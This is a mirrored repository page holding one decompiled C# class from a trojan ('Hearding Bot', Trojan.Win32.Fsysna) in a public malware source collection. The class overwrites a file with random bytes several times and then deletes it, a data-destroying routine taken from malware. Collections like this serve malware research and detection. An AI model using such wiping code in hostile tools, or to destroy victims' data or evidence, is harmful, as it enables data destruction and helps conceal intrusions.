mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-01-26 03:55:06 +00:00
f2ac1ece55
add
56 lines
1.6 KiB
C#
56 lines
1.6 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Hearding_Bot.DeleteFile
|
|
// Assembly: Hearding Bot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 931E7B23-EA6E-4139-8BD0-1A4E0BF9E258
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.dljm-a7abcca3397d1344b43d53c1427609ca1808f1991c5d2b158fd67c1ea3e6f19a.exe
|
|
|
|
using System;
|
|
using System.IO;
|
|
|
|
namespace Hearding_Bot
|
|
{
|
|
internal class DeleteFile
|
|
{
|
|
public static bool SecureDelete(string resourceName, int passes)
|
|
{
|
|
if (passes > 0 && passes <= 10)
|
|
{
|
|
if (File.Exists(resourceName))
|
|
{
|
|
BinaryWriter binaryWriter;
|
|
try
|
|
{
|
|
binaryWriter = new BinaryWriter((Stream) new FileStream(resourceName, FileMode.Open, FileAccess.ReadWrite, FileShare.None));
|
|
}
|
|
catch
|
|
{
|
|
return false;
|
|
}
|
|
long length = binaryWriter.BaseStream.Length;
|
|
if (length <= 0L)
|
|
return false;
|
|
Random random = new Random();
|
|
for (int index1 = 0; index1 < passes; ++index1)
|
|
{
|
|
binaryWriter.Seek(0, SeekOrigin.Begin);
|
|
for (long index2 = 0; index2 < length; ++index2)
|
|
binaryWriter.Write((char) random.Next(0, 256));
|
|
binaryWriter.Flush();
|
|
}
|
|
binaryWriter.Close();
|
|
try
|
|
{
|
|
File.Delete(resourceName);
|
|
}
|
|
catch
|
|
{
|
|
return false;
|
|
}
|
|
return true;
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
}
|
|
}
|